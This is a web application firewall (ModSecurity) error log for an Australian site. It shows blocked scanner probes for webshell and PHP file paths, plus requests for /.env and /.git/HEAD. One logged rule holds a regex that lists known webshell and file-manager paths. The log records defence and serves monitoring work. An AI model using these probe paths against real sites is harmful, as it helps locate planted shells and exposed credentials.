[Thu Jan 15 20:35:15.652680 2026] [proxy_fcgi:error] [pid 5292:tid 5360] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:15.847065 2026] [proxy_fcgi:error] [pid 5292:tid 5355] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:16.041488 2026] [proxy_fcgi:error] [pid 5292:tid 5372] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:16.236017 2026] [proxy_fcgi:error] [pid 5292:tid 5365] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:16.448981 2026] [proxy_fcgi:error] [pid 5292:tid 5371] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:16.643526 2026] [proxy_fcgi:error] [pid 5292:tid 5376] [client 68.155.146.3:11236] AH01071: Got error 'Primary script unknown'
[Thu Jan 15 20:35:16.833870 2026] [:error] [pid 5292:tid 5366] [client 68.155.146.3:11236] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aWjfBGWxK-ai3L9DjxYqeAAAAIs"]
[Thu Jan 15 20:35:17.665539 2026] [:error] [pid 5291:tid 5339] [client 68.155.146.3:11241] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aWjfBTp5twZ54fay3RfPBgAAAEw"]
[Thu Jan 15 20:35:18.348581 2026] [:error] [pid 5291:tid 5327] [client 68.155.146.3:11242] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aWjfBjp5twZ54fay3RfPCAAAAEA"]
[Thu Jan 15 20:35:19.084343 2026] [:error] [pid 21666:tid 21674] [client 68.155.146.3:11248] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file22.php"] [unique_id "aWjfB6M9zD2y6IZZ4RRTdAAAAYM"]
[Thu Jan 15 20:35:20.565693 2026] [:error] [pid 21666:tid 21683] [client 68.155.146.3:11145] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aWjfCKM9zD2y6IZZ4RRTdQAAAYw"]
[Thu Jan 15 20:35:21.328842 2026] [:error] [pid 51857:tid 51881] [client 68.155.146.3:11141] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aWjfCXDlXoqhkNNyf_ylQgAAAVY"]
[Thu Jan 15 20:35:22.126053 2026] [:error] [pid 21666:tid 21682] [client 68.155.146.3:11157] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aWjfCqM9zD2y6IZZ4RRTdwAAAYs"]
[Thu Jan 15 20:35:23.943046 2026] [:error] [pid 51857:tid 51863] [client 68.155.146.3:11143] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/check.php"] [unique_id "aWjfC3DlXoqhkNNyf_ylRAAAAUQ"]
[Thu Jan 15 20:35:24.971394 2026] [:error] [pid 5291:tid 5346] [client 68.155.146.3:11219] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-header-json.php"] [unique_id "aWjfDDp5twZ54fay3RfPCwAAAFM"]
[Thu Jan 15 20:35:26.263105 2026] [:error] [pid 5292:tid 5361] [client 68.155.146.3:11214] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-header-json.php"] [unique_id "aWjfDmWxK-ai3L9DjxYqewAAAIY"]
[Thu Jan 15 20:35:26.874138 2026] [:error] [pid 21666:tid 21674] [client 68.155.146.3:11142] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-header-json.php"] [unique_id "aWjfDqM9zD2y6IZZ4RRTgQAAAYM"]
[Thu Jan 15 20:35:27.513263 2026] [:error] [pid 21666:tid 21673] [client 68.155.146.3:11249] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-header-json.php"] [unique_id "aWjfD6M9zD2y6IZZ4RRThAAAAYI"]
[Thu Jan 15 20:35:27.950258 2026] [:error] [pid 5290:tid 5307] [client 68.155.146.3:11201] [client 68.155.146.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aWjfDziQRfcmyoePXPfDWgAAAAg"]
[Thu Jan 15 20:35:28.659349 2026] [:error] [pid 5290:tid 5323] [client 68.155.146.3:11156] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWjfEDiQRfcmyoePXPfDWwAAABg"]
[Thu Jan 15 20:35:29.216822 2026] [:error] [pid 51807:tid 51832] [client 68.155.146.3:11162] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWjfEcMrH4_ge4gLwN0g1gAAARc"]
[Thu Jan 15 20:35:29.727245 2026] [:error] [pid 5292:tid 5355] [client 68.155.146.3:11254] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aWjfEWWxK-ai3L9DjxYqgAAAAIA"]
[Thu Jan 15 20:35:30.523186 2026] [:error] [pid 5290:tid 5312] [client 68.155.146.3:11262] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aWjfEjiQRfcmyoePXPfDXQAAAA0"]
[Thu Jan 15 20:35:31.046980 2026] [:error] [pid 21666:tid 21683] [client 68.155.146.3:11159] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aWjfE6M9zD2y6IZZ4RRTigAAAYw"]
[Thu Jan 15 20:35:31.760117 2026] [:error] [pid 5389:tid 5411] [client 68.155.146.3:11258] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aWjfE0kzfklDSWCNrVJ_bgAAANQ"]
[Thu Jan 15 20:35:32.671811 2026] [:error] [pid 5292:tid 5375] [client 68.155.146.3:11203] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aWjfFGWxK-ai3L9DjxYqgwAAAJQ"]
[Thu Jan 15 20:35:33.753848 2026] [:error] [pid 5290:tid 5306] [client 68.155.146.3:9169] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWjfFTiQRfcmyoePXPfDYQAAAAc"]
[Thu Jan 15 20:35:34.727382 2026] [:error] [pid 5290:tid 5313] [client 68.155.146.3:11164] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWjfFjiQRfcmyoePXPfDYgAAAA4"]
[Thu Jan 15 20:35:35.630927 2026] [:error] [pid 5291:tid 5338] [client 68.155.146.3:11209] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWjfFzp5twZ54fay3RfPFAAAAEs"]
[Thu Jan 15 20:35:36.329117 2026] [:error] [pid 21666:tid 21683] [client 68.155.146.3:11158] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWjfGKM9zD2y6IZZ4RRTkAAAAYw"]
[Thu Jan 15 20:35:36.846322 2026] [:error] [pid 51807:tid 51816] [client 68.155.146.3:11215] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aWjfGMMrH4_ge4gLwN0g3QAAAQc"]
[Thu Jan 15 20:35:37.677418 2026] [:error] [pid 5292:tid 5379] [client 68.155.146.3:11216] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aWjfGWWxK-ai3L9DjxYqiQAAAJg"]
[Thu Jan 15 20:35:38.234332 2026] [:error] [pid 5291:tid 5351] [client 68.155.146.3:11204] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aWjfGjp5twZ54fay3RfPFgAAAFg"]
[Thu Jan 15 20:35:38.737046 2026] [:error] [pid 5291:tid 5328] [client 68.155.146.3:9156] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aWjfGjp5twZ54fay3RfPFwAAAEE"]
[Thu Jan 15 20:35:39.305930 2026] [:error] [pid 5291:tid 5334] [client 68.155.146.3:11240] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjfGzp5twZ54fay3RfPGQAAAEc"]
[Thu Jan 15 20:35:41.470453 2026] [:error] [pid 5291:tid 5331] [client 68.155.146.3:11139] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjfHTp5twZ54fay3RfPGwAAAEQ"]
[Thu Jan 15 20:35:43.614373 2026] [:error] [pid 5292:tid 5370] [client 68.155.146.3:11151] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjfH2WxK-ai3L9DjxYqlwAAAI8"]
[Thu Jan 15 20:35:47.750943 2026] [:error] [pid 51807:tid 51817] [client 68.155.146.3:11257] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWjfI8MrH4_ge4gLwN0g6AAAAQg"]
[Thu Jan 15 20:35:50.738634 2026] [:error] [pid 51807:tid 51825] [client 68.155.146.3:11206] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aWjfJsMrH4_ge4gLwN0g6wAAARA"]
[Thu Jan 15 20:35:52.382742 2026] [:error] [pid 5290:tid 5309] [client 68.155.146.3:11167] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aWjfKDiQRfcmyoePXPfDcAAAAAo"]
[Thu Jan 15 20:35:54.282391 2026] [:error] [pid 5290:tid 5307] [client 68.155.146.3:11225] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aWjfKjiQRfcmyoePXPfDcgAAAAg"]
[Thu Jan 15 20:35:56.418541 2026] [:error] [pid 21666:tid 21671] [client 68.155.146.3:11251] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aWjfLKM9zD2y6IZZ4RRTmAAAAYA"]
[Thu Jan 15 20:35:57.529860 2026] [:error] [pid 51857:tid 51861] [client 68.155.146.3:11222] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/990.php"] [unique_id "aWjfLXDlXoqhkNNyf_ylWwAAAUI"]
[Thu Jan 15 20:35:58.526168 2026] [:error] [pid 51857:tid 51872] [client 68.155.146.3:11223] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/990.php"] [unique_id "aWjfLnDlXoqhkNNyf_ylXwAAAU0"]
[Thu Jan 15 20:35:59.819747 2026] [:error] [pid 5389:tid 5415] [client 68.155.146.3:11147] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/990.php"] [unique_id "aWjfL0kzfklDSWCNrVJ_jwAAANg"]
[Thu Jan 15 20:36:00.314668 2026] [:error] [pid 5291:tid 5348] [client 68.155.146.3:11229] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/990.php"] [unique_id "aWjfMDp5twZ54fay3RfPLAAAAFU"]
[Thu Jan 15 20:36:01.032104 2026] [:error] [pid 5291:tid 5343] [client 68.155.146.3:9196] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aWjfMTp5twZ54fay3RfPLgAAAFA"]
[Thu Jan 15 20:36:01.842654 2026] [:error] [pid 5291:tid 5329] [client 68.155.146.3:11261] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aWjfMTp5twZ54fay3RfPMAAAAEI"]
[Thu Jan 15 20:36:02.306750 2026] [:error] [pid 51807:tid 51812] [client 68.155.146.3:11152] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aWjfMsMrH4_ge4gLwN0g9gAAAQM"]
[Thu Jan 15 20:36:02.874323 2026] [:error] [pid 5291:tid 5336] [client 68.155.146.3:11149] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aWjfMjp5twZ54fay3RfPMgAAAEk"]
[Thu Jan 15 20:36:03.719105 2026] [:error] [pid 5291:tid 5339] [client 68.155.146.3:9190] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWjfMzp5twZ54fay3RfPNgAAAEw"]
[Thu Jan 15 20:36:04.934819 2026] [:error] [pid 21666:tid 21675] [client 68.155.146.3:11227] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWjfNKM9zD2y6IZZ4RRTngAAAYQ"]
[Thu Jan 15 20:36:05.522092 2026] [:error] [pid 21666:tid 21678] [client 68.155.146.3:11192] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWjfNaM9zD2y6IZZ4RRToAAAAYc"]
[Thu Jan 15 20:36:06.058059 2026] [:error] [pid 21666:tid 21689] [client 68.155.146.3:9161] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWjfNqM9zD2y6IZZ4RRTogAAAZI"]
[Thu Jan 15 20:36:06.778368 2026] [:error] [pid 51857:tid 51872] [client 68.155.146.3:11150] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aWjfNnDlXoqhkNNyf_ylZAAAAU0"]
[Thu Jan 15 20:36:07.557141 2026] [:error] [pid 51807:tid 51810] [client 68.155.146.3:9192] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aWjfN8MrH4_ge4gLwN0g_QAAAQE"]
[Thu Jan 15 20:36:07.996720 2026] [:error] [pid 5290:tid 5309] [client 68.155.146.3:11213] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aWjfNziQRfcmyoePXPfDeAAAAAo"]
[Thu Jan 15 20:36:08.505466 2026] [:error] [pid 51857:tid 51868] [client 68.155.146.3:11244] [client 68.155.146.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aWjfOHDlXoqhkNNyf_ylZgAAAUk"]
[Fri Jan 16 00:15:14.813706 2026] [:error] [pid 5291:tid 5338] [client 161.97.129.154:47872] [client 161.97.129.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWkSkjp5twZ54fay3Rf-iAAAAEs"]
[Fri Jan 16 00:15:14.843928 2026] [:error] [pid 51857:tid 51873] [client 161.97.129.154:47876] [client 161.97.129.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aWkSknDlXoqhkNNyf_zt2QAAAU4"]
